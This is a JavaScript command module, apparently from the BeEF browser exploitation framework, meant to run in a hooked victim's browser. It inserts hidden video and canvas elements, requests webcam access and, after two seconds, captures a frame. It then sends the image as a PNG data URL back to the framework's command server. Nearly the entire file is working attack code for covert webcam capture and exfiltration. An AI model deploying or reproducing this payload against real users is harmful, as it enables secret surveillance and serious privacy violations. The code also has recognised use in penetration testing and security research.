118 lines
4.0 KiB
JavaScript
118 lines
4.0 KiB
JavaScript
//
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// Copyright (c) 2006-2024Wade Alcorn - wade@bindshell.net
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// Browser Exploitation Framework (BeEF) - https://beefproject.com
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// See the file 'doc/COPYING' for copying permission
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//
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beef.execute(function() {
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if (beef.browser.hasWebGL()) {
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beef.debug('[Webcam HTML5] Browser supports WebGL');
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} else {
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beef.debug('[Webcam HTML5] Error: WebGL is not supported');
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beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=WebGL is not supported', beef.are.status_error());
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return;
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}
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var vid_id = beef.dom.generateID();
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var can_id = beef.dom.generateID();
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var vid_el = beef.dom.createElement('video',{'id':vid_id,'style':'display:none;','autoplay':'true'});
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var can_el = beef.dom.createElement('canvas',{'id':can_id,'style':'display:none;','width':'640','height':'480'});
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$j('body').append(vid_el);
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$j('body').append(can_el);
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var ctx = can_el.getContext('2d');
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var localMediaStream = null;
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var streaming = false;
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var width = 320; // We will scale the photo width to this
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var height = 0; // This will be computed based on the input stream
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var cap = function() {
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if (localMediaStream) {
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ctx.drawImage(vid_el,0,0,width,height);
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beef.net.send("<%= @command_url %>",<%= @command_id %>, 'image='+can_el.toDataURL('image/png'));
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} else {
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beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=something went wrong', beef.are.status_error());
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}
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};
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window.URL = window.URL || window.webkitURL;
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// Older browsers might not implement mediaDevices at all, so we set an empty object first
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if (navigator.mediaDevices === undefined) {
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navigator.mediaDevices = {};
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}
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// Some browsers partially implement mediaDevices. We can't just assign an object
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// with getUserMedia as it would overwrite existing properties.
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// Here, we will just add the getUserMedia property if it's missing.
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if (navigator.mediaDevices.getUserMedia === undefined) {
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navigator.mediaDevices.getUserMedia = function(constraints) {
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// First get ahold of the legacy getUserMedia, if present
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var getUserMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia;
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// Some browsers just don't implement it - return a rejected promise with an error
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// to keep a consistent interface
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if (!getUserMedia) {
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return Promise.reject(new Error('getUserMedia is not implemented in this browser'));
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}
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// Otherwise, wrap the call to the old navigator.getUserMedia with a Promise
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return new Promise(function(resolve, reject) {
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getUserMedia.call(navigator, constraints, resolve, reject);
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});
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}
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}
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navigator.mediaDevices.getUserMedia({video:true}).then(function(stream) {
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if ('srcObject' in vid_el) {
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vid_el.srcObject = stream;
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vid_el.play();
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} else {
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vid_el.src = window.URL.createObjectURL(stream);
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}
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localMediaStream = stream;
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vid_el.addEventListener('canplay', function(ev){
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if (!streaming) {
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streaming = true;
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setTimeout(cap,2000);
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}
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}, false);
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}, function(err) {
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beef.debug('[Webcam HTML5] Error: getUserMedia call failed');
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beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=getUserMedia call failed', beef.are.status_error());
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});
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// Retrieve the chosen div option from BeEF and display
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var choice = "<%= @choice %>";
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switch (choice) {
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case "320x240":
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size320(); break;
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case "640x480":
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size640(); break;
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case "Full":
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sizeFull(); break;
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default:
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size320(); break;
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}
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function size320() {
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width = 320;
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height = 240;
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}
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function size640() {
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width = 640;
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height = 480;
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}
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function sizeFull() {
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width = 1280;
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height = 720;
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}
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});
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